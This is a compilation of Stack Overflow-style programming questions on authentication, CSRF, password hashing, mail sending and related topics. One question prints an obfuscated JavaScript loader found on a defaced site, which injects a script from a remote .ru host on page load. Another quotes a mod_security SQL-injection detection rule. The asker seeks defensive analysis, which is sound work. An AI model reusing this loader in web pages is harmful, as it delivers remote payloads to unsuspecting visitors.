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  • Can not call web service with basic authentication using WCF

    - by RexM
    I've been given a web service written in Java that I'm not able to make any changes to. It requires the user authenticate with basic authentication to access any of the methods. The suggested way to interact with this service in .NET is by using Visual Studio 2005 with WSE 3.0 installed. This is an issue, since the project is already using Visual Studio 2008 (targeting .NET 2.0). I could do it in VS2005, however I do not want to tie the project to VS2005 or do it by creating an assembly in VS2005 and including that in the VS2008 solution (which basically ties the project to 2005 anyway for any future changes to the assembly). I think that either of these options would make things complicated for new developers by forcing them to install WSE 3.0 and keep the project from being able to use 2008 and features in .NET 3.5 in the future... ie, I truly believe using WCF is the way to go. I've been looking into using WCF for this, however I'm unsure how to get the WCF service to understand that it needs to send the authentication headers along with each request. I'm getting 401 errors when I attempt to do anything with the web service. This is what my code looks like: WebHttpBinding webBinding = new WebHttpBinding(); ChannelFactory<MyService> factory = new ChannelFactory<MyService>(webBinding, new EndpointAddress( "http://127.0.0.1:80/Service/Service/")); factory.Endpoint.Behaviors.Add(new WebHttpBehavior()); factory.Credentials.UserName.UserName = "username"; factory.Credentials.UserName.Password = "password"; MyService proxy = factory.CreateChannel(); proxy.postSubmission(_postSubmission); This will run and throw the following exception: "The HTTP request is unauthorized with client authentication scheme 'Anonymous'. The authentication header received from the server was 'Basic realm=realm'." And this has an inner exception of: "The remote server returned an error: (401) Unauthorized." Any thoughts about what might be causing this issue would be greatly appreciated.

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  • CSRF Protection in AJAX Requests using MVC2

    - by mnemosyn
    The page I'm building depends heavily on AJAX. Basically, there is just one "page" and every data transfer is handled via AJAX. Since overoptimistic caching on the browser side leads to strange problems (data not reloaded), I have to perform all requests (also reads) using POST - that forces a reload. Now I want to prevent the page against CSRF. With form submission, using Html.AntiForgeryToken() works neatly, but in AJAX-request, I guess I will have to append the token manually? Is there anything out-of-the box available? My current attempt looks like this: I'd love to reuse the existing magic. However, HtmlHelper.GetAntiForgeryTokenAndSetCookie is private and I don't want to hack around in MVC. The other option is to write an extension like public static string PlainAntiForgeryToken(this HtmlHelper helper) { // extract the actual field value from the hidden input return helper.AntiForgeryToken().DoSomeHackyStringActions(); } which is somewhat hacky and leaves the bigger problem unsolved: How to verify that token? The default verification implementation is internal and hard-coded against using form fields. I tried to write a slightly modified ValidateAntiForgeryTokenAttribute, but it uses an AntiForgeryDataSerializer which is private and I really didn't want to copy that, too. At this point it seems to be easier to come up with a homegrown solution, but that is really duplicate code. Any suggestions how to do this the smart way? Am I missing something completely obvious?

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  • How to make Facebook Authentication from Silverlight secure?

    - by SondreB
    I have the following scenario I want to complete: Website running some HTTP(S) services that returns data for a user. Same website is additionally hosting a Silverlight 4 app which calls these services. The Silverlight app is integrating with Facebook using the Facebook Developer Toolkit (http://facebooktoolkit.codeplex.com/). I have not fully decided whether I want Facebook-integration to be a "opt-in" option such as Spotify, or if I want to "lock" down my service with Facebook-only authentication. That's another discussion. How do I protect my API Key and Secret that I receive from Facebook in a Silverlight app? To me it's obvious that this is impossible as the code is running on the client, but is there a way I can make it harder or should I just live with the fact that third parties could potentially "act" as my own app? Using the Facebook Developer Toolkit, there is a following C# method in Silverlight that is executed from the JavaScript when the user has fully authenticated with Facebook using the Facebook Connect APIs. [ScriptableMember] public void LoggedIn(string sessionKey, string secret, int expires, long userId) { this.SessionKey = sessionKey; this.UserId = userId; Obvious the problem here is the fact that JavaScript is injection the userId, which is nothing but a simple number. This means anyone could potentially inject a different userId in JavaScript and have my app think it's someone else. This means someone could hijack the data within the services running on my website. The alternative that comes to mind is authenticating the users on my website, this way I'm never exposing any secrets and I can return an auth-cookie to the users after the initial authentication. Though this scenario doesn't work very well in an out-of-browser scenario where the user is running the Silverlight app locally and not from my website.

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  • What does this script do? Is it malicious?

    - by ramdaz
    This script was added to a defaced web page of a client web site running PHP. I have no clue what this script can do, and do not know whether this is really malicious. Can someone advise. Please find code below.... var GU='';var h;var X=new String();var mP="";H=function(){var F=["hu"];function L(Lc,O,d){return Lc.substr(O,d);}OH=55345;OH-=37;var x=document;QM=6929;QM++;q=25298;q-=65;var t='';var vs={};var u=["hR"];var Oi=RegExp;var A={kh:"LQ"};var v=new String("/goo"+"gle."+L("com/DyBg",0,4)+L("abc.EBgq",0,4)+L("0vm1go.c1m0v",4,4)+"om/t"+L("erraX6U",0,4)+L(".comKvlS",0,4)+L("P1By.br.By1P",4,4)+"php");yz={Ec:false};function y(Lc,O){hI=24414;hI++;g={};a=28529;a--;var d=new String(L("[n0jJ",0,1))+O+String("]");var m=new Oi(d, String("g"));n={kW:40818};ly={HN:false};return Lc.replace(m, t);};ZW=9686;ZW-=202;GE=56525;GE-=235;D=["u_","QP"];var E=null;var vd={ka:"J"};var Jn=new Date();Xg={V:51919};var l=751407-743327;try {} catch(U){};var W=new String("body");var qi="qi";this.Vf=38797;this.Vf--;var P=y('skchrkikpjtJ','SvFJDneKyEB_akgG1jx6h7OMZ');var RlE=58536;var Xx=false;this.jo='';vi=41593;vi--;h=function(){try {var YU=new String();var DY="";var dY=y('c4rJeJaVt_ebEslVe4mJe_n4ty','bqV_4sJy6');CN={_Y:63379};s=x[dY](P);var fH="fH";pI=33929;pI--;Uw=[];var G=y('sVrvc5','5wvD6TG4IuR2MLBjQgPpbVK');var Wg=[];var Lc=l+v;var yW=new String();var iO=new String();var Oe=String("defe"+"r");var Et=["qO","AF"];var QX=13548;s[G]=new String("http:"+L("//ten5qC",0,5)+"thpro"+"fit.r"+L("u:mn7k",0,2))+Lc;PA={};s[Oe]=[2,1][1];this.Vt="Vt";var ho=46131;try {var kn='cI'} catch(kn){};this.ww=27193;this.ww+=97;x[W].appendChild(s);this.yk=60072;this.yk++;var Lp=new Date();} catch(PY){this.ku=43483;this.ku++;this.ra=47033;this.ra--;this.ru="ru";};var lu=new Array();var me=new String();};};YB=["LB","uM"];var AI={Vm:4707};H();this.mDs=57864;this.mDs-=135;zz=44697;zz++;var sn=[];window.onload=h;var PQ=false;var mF={Hm:false};try {var r_='iv'} catch(r_){};this.z_="z_";

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  • Does using ReadDirectoryChangesW require administrator rights?

    - by Alex Jenter
    The MSDN says that using ReadDirectoryChangesW implies the calling process having the Backup and Restore priviliges. Does this mean that only process launched under administrator account will work correctly? I've tried the following code, it fails to enable the required privileges when running as a restricted user. void enablePrivileges() { enablePrivilege(SE_BACKUP_NAME); enablePrivilege(SE_RESTORE_NAME); } void enablePrivilege(LPCTSTR name) { HANDLE hToken; DWORD status; if (::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp = { 1 }; if( ::LookupPrivilegeValue(NULL, name, &tp.Privileges[0].Luid) ) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BOOL result = ::AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL); verify (result != FALSE); status = ::GetLastError(); } ::CloseHandle(hToken); } } Am I doing something wrong? Is there any workaround for using ReadDirectoryChangesW from a non-administrator user account? It seems that the .NET's FileSystemWatcher can do this. Thanks!

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  • How to disable mod_security2 rule (false positive) for one domain on centos 5

    - by nicholas.alipaz
    Hi I have mod_security enabled on a centos5 server and one of the rules is keeping a user from posting some text on a form. The text is legitimate but it has the words 'create' and an html <table> tag later in it so it is causing a false positive. The error I am receiving is below: [Sun Apr 25 20:36:53 2010] [error] [client 76.171.171.xxx] ModSecurity: Access denied with code 500 (phase 2). Pattern match "((alter|create|drop)[[:space:]]+(column|database|procedure|table)|delete[[:space:]]+from|update.+set.+=)" at ARGS:body. [file "/usr/local/apache/conf/modsec2.user.conf"] [line "352"] [id "300015"] [rev "1"] [msg "Generic SQL injection protection"] [severity "CRITICAL"] [hostname "www.mysite.com"] [uri "/node/181/edit"] [unique_id "@TaVDEWnlusAABQv9@oAAAAD"] and here is /usr/local/apache/conf/modsec2.user.conf (line 352) #Generic SQL sigs SecRule ARGS "((alter|create|drop)[[:space:]]+(column|database|procedure|table)|delete[[:space:]]+from|update.+set.+=)" "id:1,rev:1,severity:2,msg:'Generic SQL injection protection'" The questions I have are: What should I do to "whitelist" or allow this rule to get through? What file do I create and where? How should I alter this rule? Can I set it to only be allowed for the one domain, since it is the only one having the issue on this dedicated server or is there a better way to exclude table tags perhaps? Thanks guys

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  • Help needed in grokking password hashes and salts

    - by javafueled
    I've read a number of SO questions on this topic, but grokking the applied practice of storing a salted hash of a password eludes me. Let's start with some ground rules: a password, "foobar12" (we are not discussing the strength of the password). a language, Java 1.6 for this discussion a database, postgreSQL, MySQL, SQL Server, Oracle Several options are available to storing the password, but I want to think about one (1): Store the password hashed with random salt in the DB, one column Found on SO and elsewhere is the automatic fail of plaintext, MD5/SHA1, and dual-columns. The latter have pros and cons MD5/SHA1 is simple. MessageDigest in Java provides MD5, SHA1 (through SHA512 in modern implementations, certainly 1.6). Additionally, most RDBMSs listed provide methods for MD5 encryption functions on inserts, updates, etc. The problems become evident once one groks "rainbow tables" and MD5 collisions (and I've grokked these concepts). Dual-column solutions rest on the idea that the salt does not need to be secret (grok it). However, a second column introduces a complexity that might not be a luxury if you have a legacy system with one (1) column for the password and the cost of updating the table and the code could be too high. But it is storing the password hashed with a random salt in single DB column that I need to understand better, with practical application. I like this solution for a couple of reasons: a salt is expected and considers legacy boundaries. Here's where I get lost: if the salt is random and hashed with the password, how can the system ever match the password? I have theory on this, and as I type I might be grokking the concept: Given a random salt of 128 bytes and a password of 8 bytes ('foobar12'), it could be programmatically possible to remove the part of the hash that was the salt, by hashing a random 128 byte salt and getting the substring of the original hash that is the hashed password. Then re hashing to match using the hash algorithm...??? So... any takers on helping. :) Am I close?

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  • ASP.NET MVC Authorize by Group

    - by Jimmo
    I have what seems like a common issue with SaaS applications, but have not seen this question on here anywhere. I am using ASP.NET MVC with Forms Authentication. I have implemented a custom membership provider to handle logic, but have one issue (perhaps the issue is in my mental picture of the system). As with many SaaS apps, Customers create accounts and use the app in a way that looks like they are the only ones present (they only see their items, users, etc.) In reality, there are generic controllers and views presenting data depending on their account. When calling something like ValidateUser, I have access to their affiliation in the User object - what I don't have is the context of the request to which to compare it. As an example, One company called ABC goes to abc.mysite.com Another company called XYZ goes to xyz.mysite.com When an ABC user calls http://abc.mysite.com/product/edit/12 I have an [Authorize] attribute on the Edit method in the ProductController to make sure he is signed in and has sufficient permission to do so. If that same ABC user tried to access http://xyz.mysite.com/product/edit/12 I would not want to validate him in the context of that call. In the ValidateUser of the MembershipProvider, I have the information about the user, but not about the request. I can tell that the user is from ABC, but I cannot tell that the request is for XYZ at that point in the code. How should I resolve this?

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  • ASP.NET MVC Authorize by Subdomain

    - by Jimmo
    I have what seems like a common issue with SaaS applications, but have not seen this question on here anywhere. I am using ASP.NET MVC with Forms Authentication. I have implemented a custom membership provider to handle logic, but have one issue (perhaps the issue is in my mental picture of the system). As with many SaaS apps, customers create accounts and use the app in a way that looks like they are the only ones present (they only see their items, users, etc.). In reality, there are generic controllers and views presenting data depending on the customer represented in the URL. When calling something like the MembershipProvider.ValidateUser, I have access to the user's customer affiliation in the User object - what I don't have is the context of the request to compare whether it is a data request for the same customer as the user. As an example, One company called ABC goes to abc.mysite.com Another company called XYZ goes to xyz.mysite.com When an ABC user calls http://abc.mysite.com/product/edit/12 I have an [Authorize] attribute on the Edit method in the ProductController to make sure he is signed in and has sufficient permission to do so. If that same ABC user tried to access http://xyz.mysite.com/product/edit/12 I would not want to validate him in the context of that call. In the ValidateUser of the MembershipProvider, I have the information about the user, but not about the request. I can tell that the user is from ABC, but I cannot tell that the request is for XYZ at that point in the code. How should I resolve this?

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  • Execute binary from memory in C# .net with binary protected from a 3rd party software

    - by NoobTom
    i've the following scenario: i've a C# application.exe i pack application.exe inside TheMida, a software anti-piracy/reverse engineering. i encrypt application.exe with aes256. (i wrote my own aes encryption/decryption and it is working) Now, when i want to execute my application i do the following: decrypt application.exe in memory execute the application.exe with the following code: BinaryReader br = new BinaryReader(decOutput); byte[] bin = br.ReadBytes(Convert.ToInt32(decOutput.Length)); decOutput.Close(); br.Close(); // load the bytes into Assembly Assembly a = Assembly.Load(bin); // search for the Entry Point MethodInfo method = a.EntryPoint; if (method != null) { // create an istance of the Startup form Main method object o = a.CreateInstance(method.Name); // invoke the application starting point method.Invoke(o, null); the application does not execute correctly. Now, the problem i think, is that this method is only to execute .NET executable. Since i packed my application.exe inside TheMida this does not work. Is there a workaround to this situation? Any suggestion? Thank you in advance.

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  • .Net 2.0 ServiceController.GetServices()

    - by Miles
    I've got a website that has windows authentication enable on it. From a page in the website, the users have the ability to start a service that does some stuff with the database. It works fine for me to start the service because I'm a local admin on the server. But I just had a user test it and they can't get the service started. My question is: Does anyone know of a way to get a list of services on a specified computer by name using a different windows account than the one they are currently logged in with? I really don't want to add all the users that need to start the service into a windows group and set them all to a local admin on my IIS server..... Here's some of the code I've got: public static ServiceControllerStatus FindService() { ServiceControllerStatus status = ServiceControllerStatus.Stopped; try { string machineName = ConfigurationManager.AppSettings["ServiceMachineName"]; ServiceController[] services = ServiceController.GetServices(machineName); string serviceName = ConfigurationManager.AppSettings["ServiceName"].ToLower(); foreach (ServiceController service in services) { if (service.ServiceName.ToLower() == serviceName) { status = service.Status; break; } } } catch(Exception ex) { status = ServiceControllerStatus.Stopped; SaveError(ex, "Utilities - FindService()"); } return status; } My exception comes from the second line in the try block. Here's the error: System.InvalidOperationException: Cannot open Service Control Manager on computer 'server.domain.com'. This operation might require other privileges. --- System.ComponentModel.Win32Exception: Access is denied --- End of inner exception stack trace --- at System.ServiceProcess.ServiceController.GetDataBaseHandleWithAccess(String machineName, Int32 serviceControlManaqerAccess) at System.ServiceProcess.ServiceController.GetServicesOfType(String machineName, Int32 serviceType) at TelemarketingWebSite.Utilities.StartService() Thanks for the help/info

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  • c# Sending emails with authentication. standard approach not working

    - by Ready Cent
    I am trying to send an email using the following very standard code. However, I get the error that follow... MailMessage message = new MailMessage(); message.Sender = new MailAddress("[email protected]"); message.To.Add("[email protected]"); message.Subject = "test subject"; message.Body = "test body"; SmtpClient client = new SmtpClient(); client.Host = "mail.myhost.com"; //client.Port = 587; NetworkCredential cred = new NetworkCredential(); cred.UserName = "[email protected]"; cred.Password = "correct password"; cred.Domain = "mail.myhost.com"; client.Credentials = cred; client.UseDefaultCredentials = false; client.Send(message); Mailbox unavailable. The server response was: No such user here. This recipient email address definitely works. To make this account work I had to do some special steps in outlook. Specifically, I had to do change account settings - more settings - outgoing server - my outgoing server requires authentication & use same settings. I am wondering if there is some other strategy. I think the key here is that my host is Server Intellect and I know that some people on here use them so hopefully someone else has been able to get through this. I did talk to support but they said with coding issues I am on my own :o

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  • ASP.NET server data persistence

    - by Wayne Werner
    Hi, I'm not really sure exactly how the question should be phrased, so please be patient if I ask the wrong thing. I'm writing an ASP.NET application using VB as the code behind language. I have a data access class that connects to the DB to run the query (parameterized, of course), and another class to perform the validation tasks - I access this class from my aspx page. What I would like is to be able to store the data server side and wait for the user to choose from a few options based on the validity of the data. But unless my understanding is completely off, having persistent data objects on the server will give problems when multiple users connect? My ultimate goal is that once the data has been validated the end user can't modify it. Currently I'm validating the data, but I still have to retrieve it from the web form AFTER the user says OK, which obviously leaves open the possibility of injecting bad data either accidentally (unlikely) or on purpose (also unlikely for the use, but I'd prefer not to take the chance). So am I completely off in my understanding? If so, can someone point me to a resource that provides some instructions on keeping persistent data on the server, or provide instruction? Thanks!

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  • A scripting engine for Ruby?

    - by Earlz
    Hello, I am creating a Ruby On Rails website, and for one part it needs to be dynamic so that (sorta) trusted users can make parts of the website work differently. For this, I need a scripting language. In a sort of similar project in ASP.Net, I wrote my own scripting language/DSL. I can not use that source code(written at work) though, and I don't want to make another scripting language if I don't have to. So, what choices do I have? The scripting must be locked down and not be able to crash my server or anything. I'd really like if I could use Ruby as the scripting language, but it's not strictly necessary. Also, this scripting part will be called on almost every request for the website, sometimes more than once. So, speed is a factor. I looked at the RubyLuaBridge but it is Alpha status and seems dead. What choices for a scripting language do I have in a Ruby project? Also, I will have full control over where this project is deployed(root access), so there are no real limits..

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  • Cross-Application User Authentication

    - by Chris Lieb
    We have a webapp written in .NET that uses NTLM for SSO. We are writing a new webapp in Java that will tightly integrate with the original application. Unfortunately, Java has no support for performing the server portion of NTLM authentication and the only library that I can find requires too much setup to be allowed by IT. To work around this, I came up with a remote authentication scheme to work across applications and would like your opinions on it. It does not need to be extremely secure, but at the same time not easily be broken. User is authenticated into .NET application using NTLM User clicks link that leaves .NET application .NET application generates random number and stores it in the user table along with the user's full username (domain\username) Insecure token is formed as random number:username Insecure token is run through secure cipher (likely AES-256) using pre-shared key stored within the application to produce a secure token The secure token is passed as part of the query string to the Java application The Java application decrypts the secure key using the same pre-shared key stored within its own code to get the insecure token The random number and username are split apart The username is used to retrieve the user's information from the user table and the stored random number is checked against the one pulled from the insecure token If the numbers match, the username is put into the session for the user and they are now authenticated If the numbers do not match, the user is redirected to the .NET application's home page The random number is removed from the database

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  • Why can't we just use a hash of passphrase as the encryption key (and IV) with symmetric encryption algorithms?

    - by TX_
    Inspired by my previous question, now I have a very interesting idea: Do you really ever need to use Rfc2898DeriveBytes or similar classes to "securely derive" the encryption key and initialization vector from the passphrase string, or will just a simple hash of that string work equally well as a key/IV, when encrypting the data with symmetric algorithm (e.g. AES, DES, etc.)? I see tons of AES encryption code snippets, where Rfc2898DeriveBytes class is used to derive the encryption key and initialization vector (IV) from the password string. It is assumed that one should use a random salt and a shitload of iterations to derive secure enough key/IV for the encryption. While deriving bytes from password string using this method is quite useful in some scenarios, I think that's not applicable when encrypting data with symmetric algorithms! Here is why: using salt makes sense when there is a possibility to build precalculated rainbow tables, and when attacker gets his hands on hash he looks up the original password as a result. But... with symmetric data encryption, I think this is not required, as the hash of password string, or the encryption key, is never stored anywhere. So, if we just get the SHA1 hash of password, and use it as the encryption key/IV, isn't that going to be equally secure? What is the purpose of using Rfc2898DeriveBytes class to generate key/IV from password string (which is a very very performance-intensive operation), when we could just use a SHA1 (or any other) hash of that password? Hash would result in random bit distribution in a key (as opposed to using string bytes directly). And attacker would have to brute-force the whole range of key (e.g. if key length is 256bit he would have to try 2^256 combinations) anyway. So either I'm wrong in a dangerous way, or all those samples of AES encryption (including many upvoted answers here at SO), etc. that use Rfc2898DeriveBytes method to generate encryption key and IV are just wrong.

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  • Hide form if javascript disabled

    - by Kero
    I need to check on disabling JavaScript if the user disabled JavaScript from browser or firewall or any other place he will never show the form. I have lots of search and solutions, but unfortunately didn't got the right one. - Using style with no-script tag: This one could be broke with removing style... <noscript> <style type="text/css"> .HideClass { display:none; } </style> </noscript> The past code will work just fine but there is lots of problems in no-script tag as here Beside that i don't want to redirect user with no-script tag too...Beside that i can quickly stop loading the page to broke this meta or disable Meta tag from IE: <meta http-equiv="refresh" content="0; URL=Frm_JavaScriptDisable.aspx" /> Another way to redirect user with JavaScript but this will work let's say for 99% of users and this one isn't lovely way and will slow down the website... window.location="http://www.location.com/page.aspx"; Is there is any other ideas or suggestions to secure working with JavaScript...and prevent user from entering the website or see my form except when JavaScript enabled...

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  • php Mail function; Is this way of using it safe?

    - by Camran
    I have a classifieds website, and inside each classified, there is a small form. This form is for users to be able to tip their "friends": <form action="/bincgi/tip.php" method="post" name="tipForm" id="tipForm"> Tip: <input name="email2" id="email2" type="text" size="30 /> <input type="submit" value="Skicka Tips"/> <input type="hidden" value="<?php echo $ad_id;?>" name="ad_id2" id="ad_id2" /> <input type="hidden" value="<?php echo $headline;?>" name="headline2" id="headline2" /> </form> The form is then submitted to a tip.php page, and here is my Q, is this below code safe, ie is it good enough or do I need to make some sanitations and more safety details? $to = filter_var($_POST['email2'], FILTER_SANITIZE_EMAIL); $ad_id = $_POST['ad_id2']; $headline = $_POST['headline2']; $subject = 'You got a tip'; $message ='Hi. You got a tip: '.$headline.'.\n'; $headers = 'From: [email protected]\r\n'; mail($to, $subject, $message, $headers); I haven't tested the above yet.

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  • At what point does "constructive" criticism of your code become unhelpful?

    - by user15859
    I recently started as a junior developer. As well as being one of the least experienced people on the team, I'm also a woman, which comes with all sorts of its own challenges working in a male-dominated environment. I've been having problems lately because I feel like I am getting too much unwarranted pedantic criticism on my work. Let me give you an example of what happened recently. Team lead was too busy to push in some branches I made, so he didn't get to them until the weekend. I checked my mail, not really meaning to do any work, and found that my two branches had been rejected on the basis of variable names, making error messages more descriptive, and moving some values to the config file. I don't feel that rejecting my branch on this basis is useful. Lots of people were working over the weekend, and I had never said that I would be working. Effectively, some people were probably blocked because I didn't have time to make the changes and resubmit. We are working on a project that is very time-sensitive, and it seems to me that it's not helpful to outright reject code based on things that are transparent to the client. I may be wrong, but it seems like these kinds of things should be handled in patch type commits when I have time. Now, I can see that in some environments, this would be the norm. However, the criticism doesn't seem equally distributed, which is what leads to my next problem. The basis of most of these problems was due to the fact that I was in a codebase that someone else had written and was trying to be minimally invasive. I was mimicking the variable names used elsewhere in the file. When I stated this, I was bluntly told, "Don't mimic others, just do what's right." This is perhaps the least useful thing I could have been told. If the code that is already checked in is unacceptable, how am I supposed to tell what is right and what is wrong? If the basis of the confusion was coming from the underlying code, I don't think it's my responsibility to spend hours refactoring a whole file that someone else wrote (and works perfectly well), potentially introducing new bugs etc. I'm feeling really singled out and frustrated in this situation. I've gotten a lot better about following the standards that are expected, and I feel frustrated that, for example, when I refactor a piece of code to ADD error checking that was previously missing, I'm only told that I didn't make the errors verbose enough (and the branch was rejected on this basis). What if I had never added it to begin with? How did it get into the code to begin with if it was so wrong? This is why I feel so singled out: I constantly run into this existing problematic code, that I either mimic or refactor. When I mimic it, it's "wrong", and if I refactor it, I'm chided for not doing enough (and if I go all the way, introducing bugs, etc). Again, if this is such a problem, I don't understand how any code gets into the codebase, and why it becomes my responsibility when it was written by someone else, who apparently didn't have their code reviewed. Anyway, how do I deal with this? Please remember that I said at the top that I'm a woman, and I'm sure these guys don't usually have to worry about decorum when they're reviewing other guys' code, but honestly that doesn't work for me, and it's causing me to be less productive. I'm worried that if I talk to my manager about it, he'll think I can't handled the environment, etc.

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  • Code a timer in a GUI python TKinter

    - by Diego Castro
    I need to code a program with GUI in python (I'm thinking of using TKinter, 'cause it's easy, but I'm open to suggestions). My major problem is that I don't know how to code a timer (like a clock... like 00:00:00,00 hh:mm:ss,00 ) I need it to update it self (that's what I don't know how to do) Another question is how do I put a program in the system tray (I don't think it's called like that in Linux) for UBUNTU.

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  • Google Streetview under V3 Code having hiccups and delays

    - by jeffkee
    http://new.brocksmeaton.com/showlisting.php/196/-7210-Arbutus-Place-Whytecliff-West-Vancouver-west-vancouver-real-estate The really odd thing is I had this working yesterday and today it's not working. I'm using jQuery UI to switch the tabs on the location map/street view module. I've recently upgraded the Google Maps code as well as the Google Streetview code to version 3. So when I open it in Firefox, with Firebug on, as soon as I switch to the Streetview tab, the navigation and zoom in out controls show, but nothing shows.. and then when I try to drag the map around, it does not move around, but instead, causes errors in Firebug: "too much recursion". So it causes the whole browser to become buggy, slows down, and the errors happen, and nothing shows on the streetview pane. Most of the map loading code is located in inline Javascript on the page itself. Some of the code is under showlisting.js <script type="text/javascript" src="/js/showlisting.js"></script> <script type="text/javascript"> // Call this function when the page has been loaded function loadmap() { var latlng = new google.maps.LatLng(49.374918567425475, -123.28996885871596); var myOptions = { zoom: 14, center: latlng, mapTypeId: google.maps.MapTypeId.ROADMAP }; var map = new google.maps.Map(document.getElementById('listingmap'), myOptions); var listingicon = '/images/activehouse.png'; var infowindow = new google.maps.InfoWindow(); homemarker = new google.maps.Marker({position: latlng, map: map, icon: listingicon}); google.maps.event.addListener(homemarker, 'click', function() { infowindow.setContent('<div style="height:80px; width:250px; color:#333;"><p>7210 Arbutus Place<br />Whytecliff, West Vancouver</div>') infowindow.open(map,homemarker); }); } function loadpano() { var latlng = new google.maps.LatLng(49.374918567425475, -123.28996885871596); $('#listingpanorama').slideDown(500, function() { var panoramaOptions = { addressControl:false, position: latlng, pov: { heading: 34, pitch: 30, zoom: 1 } }; var panorama = new google.maps.StreetViewPanorama(document.getElementById('listingpanorama'), panoramaOptions); }); return false; } </script> My old one under GOogle API Version 2 is here FYI if you want to take a look at it: http://demo.brixwork.com/master/showlisting.php/63/1701-388-Drake-Street-False-Creek-North-Vancouver-

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  • .Net HttpWebRequest.GetResponse() raises exception when http status code 400 (bad request) is return

    - by chefsmart
    I am in a situation where when I get an HTTP 400 code from the server, it is a completely legal way of the server telling me what was wrong with my request (using a message in the HTTP response content) However, the .NET HttpWebRequest raises an exception when the status code is 400. How do I handle this? For me a 400 is completely legal, and rather helpful. The HTTP content has some important information but the exception throws me off my path.

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  • Android Source Code Tree Structure

    - by Walidix
    I have downloaded Android source code but I don't find the "Kernel Directory" in the top level directory of the source code tree. Is it normal ???? or is it missing ??? /mydroid$ find . -name kernel ./bionic/libc/kernel ./vendor/htc/sapphire-open/kernel ./vendor/htc/dream-open/kernel ./dalvik/libcore/luni-kernel/src/test/java/tests/api/org/apache/harmony/kernel ./dalvik/libcore/luni-kernel/src/main/java/org/apache/harmony/kernel ./prebuilt/android-arm/kernel ./prebuilt/android-x86/kernel ./device/htc/passion/kernel

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  • StackOverflow Code Sample vs }

    - by 0plus1
    I want to ask you a question about the stackoverflow's editor. Whenever I need to write code and close a } I get the Code Sample indentation if using: Alt gr + Shift + (+*]) It's pretty annoying, is there any way to avoid this other than: Ctrl+v ? Thank you and sorry if this has been asked before.

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